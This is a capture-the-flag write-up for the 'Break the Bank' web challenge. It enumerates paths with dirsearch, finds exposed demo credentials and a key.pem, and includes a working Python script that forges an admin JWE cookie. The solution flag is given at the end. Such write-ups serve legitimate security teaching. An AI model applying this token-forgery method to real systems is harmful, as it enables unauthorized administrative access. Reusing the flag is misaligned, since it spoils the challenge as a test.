UTCTF2026-Break the Bank

Overview

The challenge gives a banking website. The goal is to exploit a vulnerability in the system to gain unauthorized access to the admin area and get the flag.

Dirsearch

The first step is to enumerate the web paths.

dirsearch -u http://challenge.utctf.live:5926/

The most notable result is seeing the path:

/resources

After seeing /resources, access it directly in the browser:

This page returns a directory listing, showing the files inside the directory:

memo.txt
key.pem
FNSB_InternetBanking_Guide.pdf

Opening the PDF to get test credentials

From the file:

/resources/FNSB_InternetBanking_Guide.pdf

we can read the demo login credentials:

Username: testuser
Password: testpass123

This step helps obtain a valid login session on the system.

After logging in, the server gives the user a cookie named:

fnsb_token

Analyzing `fnsb_token`

When decoding this token from base64, we notice it is not a normal signed JWT, but a JWE (JSON Web Encryption).

The token header looks like:

{"cty":"JWT","enc":"A256GCM","alg":"RSA-OAEP-256"}

The `key.pem` file

Go back to /resources/ and open the file key.pem

The start of the file shows this is:

Script to forge the admin token

from jwcrypto import jwk, jwe
import json

with open("key.pem", "rb") as f:
    pem = f.read()

key = jwk.JWK.from_pem(pem)

payload = json.dumps({"sub": "admin"}).encode()

token = jwe.JWE(
    plaintext=payload,
    protected={
        "alg": "RSA-OAEP-256",
        "enc": "A256GCM",
        "cty": "JWT"
    }
)

token.add_recipient(key)
print(token.serialize(compact=True))

Running the script prints the forged token.

Accessing admin and getting the flag

Replace the cookie with the newly forged token; after the server accepts the token, the admin page appears.

Flag

utflag{s0m3_c00k1es_@re_t@st13r_th@n_0th3rs}